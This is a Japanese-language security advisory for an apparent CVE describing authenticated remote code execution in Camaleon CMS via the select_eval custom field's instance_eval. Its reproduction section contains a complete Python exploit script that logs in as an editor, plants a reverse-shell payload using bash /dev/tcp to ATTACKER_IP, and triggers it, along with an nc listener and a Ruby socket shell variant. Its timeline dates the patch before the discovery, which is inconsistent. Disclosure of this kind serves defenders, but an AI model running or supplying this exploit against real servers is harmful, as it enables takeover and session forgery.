
CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field — Updated!
セキュリティアドバイザリ: Camaleon CMS - `select_eval` カスタムフィールド経由の認証済みRCE
セキュリティアドバイザリ: Camaleon CMS - select_eval カスタムフィールド経由の認証済みRCE
割り当て済みCVE ID: CVE-2026-66748
製品: Camaleon CMS (https://github.com/owen2345/camaleon-cms)
影響を受けるバージョン: 2.1.1 – 2.9.1(導入コミット 415cbda6 2015-10-16; 修正コミット 15882366 2026-03-29 / v2.9.2)
深刻度: 高
CVSS 4.0 スコア: 8.7
CVSS 4.0 ベクター: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CWE: CWE-94(コードインジェクション)
研究者: Theodosis Paidakis
ベンダー通知日: 2026-06-21
関連アドバイザリ: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9(label_eval - 並行するフィールドタイプ、同一の根本原因、CVE未割り当て)
概要
select_eval カスタムフィールドタイプは、任意のRuby式を field.options[:command] に保存し、投稿編集ページがレンダリングされるたびにERBビュー内の instance_eval を介してそれを実行します。v2.9.2以前では、custom_fields 管理権限(通常は編集者ロールのアカウントに付与されます)を持つ任意のユーザーが、このフィールドタイプを作成してサーバーサイドRCEを達成できました。select_eval フィールドは、フィールドグループを使用するすべての投稿のページレンダリングのたびに発火し、その出力がドロップダウンのオプションリストになります。この脆弱性はv2.9.2で修正されました。
影響を受けるコンポーネント
ファイル: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
instance_eval(field.options[:command].to_s.strip),
class: "..." %>
instance_eval は、データベースレコードからの生の文字列を引数として呼び出されます。サンドボックス化はなく、ERBバインディング(完全なRailsビューコンテキスト)からアクセス可能なメソッドや定数に対するコンパイル時の制限もありません。
ファイル: app/models/camaleon_cms/ability.rb(v2.9.1、161-165行)
custom_fields が明示的に付与されることはありません。ファイルのさらに上では8つのリソースが個別に can :manage を受け取ります(media、comments、themes、widgets、nav_menu、plugins、users、settings)が、custom_fields はその中にはありません。これは、ロールの @roles_manager ハッシュに存在する任意のキーに対して、そのキーを付与しても安全かどうかを確認せずに manage を付与する、以下のキャッチオールを介してのみ到達可能です:
@roles_manager.try(:each) do |rol_manage_key, val_role|
can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
false
end
したがって、ロールに custom_fields ビットが設定されているユーザーは誰でもカスタムフィールドコントローラーに到達できます。影響を受ける範囲では、このビットは編集者レベルのロールに日常的に付与されています。
v2.9.2の書き換えでは、can が safe_can ラッパーに置き換えられ、custom_fields と select_eval の両方を含む明示的な %i[...] リストが追加されましたが、上記のキャッチオールループはそのバージョンでも依然として存在します。この問題を修正しているのは権限リストではなく、custom_fields_controller.rb のstrong parametersの許可リストと、custom_field_group.rb の can?(:manage, :select_eval) ゲートです。
根本原因の分析
select_eval フィールドタイプは、CMSデータベースに保存されたRubyコードからセレクトドロップダウンを動的に埋め込めるようにするために設計されました。instance_eval を介してデータベース列から任意のRubyを実行することは、その値を書き込めるすべてのユーザーにシェルアクセスを付与することに相当します。必要な権限は、明示的な特権ビットではなく、custom_fields(一般的なコンテンツ管理権限)でした。
以前のアドバイザリとの関連
この発見は、Camaleon CMSの並行する label_eval フィールドタイプを対象とするGHSL-2024-185 / GHSA-7x4w-cj9r-h4v9として公開されました。そのアドバイザリは5件の発見(GHSL-2024-182からGHSL-2024-186)のバッチの一部であり、5件のうちCVE番号を受け取ったのは2件のみです(CVE-2024-46986およびCVE-2024-46987)。GHSL-2024-185自体にはCVEは割り当てられていません。
select_eval と label_eval は同じ根本原因(ERBビュー内の instance_eval を介して実行される、データベースに保存された任意のRuby)を共有しますが、他のすべての側面では異なります:
label_eval (GHSL-2024-185) | select_eval (今回のレポート) | |
|---|---|---|
| 実行箇所 | 任意のフォーム内のフィールドラベル | 投稿編集ページの select_tag |
| 書き込み経路 | カスタムフィールドのラベルテキスト | field.options[:command] メタ行 |
このレポートは select_eval のみを対象としています。この特定のフィールドタイプとその悪用手順を文書化した既存のCVEや公開アドバイザリはありません。
再現手順
影響を受ける範囲v2.1.1からv2.9.1はソース解析によって特定され、v2.9.1でエンドツーエンドの悪用が確認されました。必要なのは custom_fields 権限を持つアカウントのみで、サーバーアクセスは不要です。
前提条件: custom_fields 管理ビットが設定された任意のアカウント - 影響を受ける範囲では標準的な編集者ロールの権限です。
ステップ1. リスナーを起動します:
nc -lnvp 4444
ステップ2. スクリプトを実行します。BASE、ATTACKER_IP、TYPE_ID、POST_ID、および認証情報を編集してください。
TYPE_ID - 管理サイドバーのURLに表示される投稿タイプID(例: /admin/post_type/2/posts)。
POST_ID - そのタイプに属する任意の投稿ID。投稿リストの編集リンクから取得します。
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # post type ID - from admin sidebar URL
POST_ID = 1 # any post under that type - from post list edit links
USERNAME = "editor" # any account with custom_fields manage permission
PASSWORD = "Editor1234!"
# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
影響
custom_fields 権限を持つ任意のアカウント(v2.9.2以前)は以下を獲得できます:
- 任意のRuby実行 - Railsプロセス内で、ウェブサーバーユーザー(
deploy、www-data、railsなど)の権限で実行 - 永続的な実行: ペイロードは、フィールドグループを使用するすべての投稿のページレンダリングのたびに発火します - 一度きりのエクスプロイトではありません
- セッション偽造:
config/secrets.ymlからsecret_key_baseを読み取ることで、管理者を含む任意のユーザーのセッションクッキーを偽造できます - マルチサイトへの影響: 共有Camaleonインスタンスでは、Railsプロセスがすべてのサイトのデータにアクセスできます
v2.9.2以前では、custom_fields 権限は編集者ロールのユーザーに日常的に付与されていました。編集者レベルのアカウントを侵害した攻撃者は、完全なサーバーサイドRCEを達成できます。
タイムライン
2026-06-19 - v2.9.2およびv2.9.1のソース解析中に発見 2026-06-21 - ベンダーに通知 2026-03-29 - パッチはすでにリリース済み(v2.9.2、コミット15882366)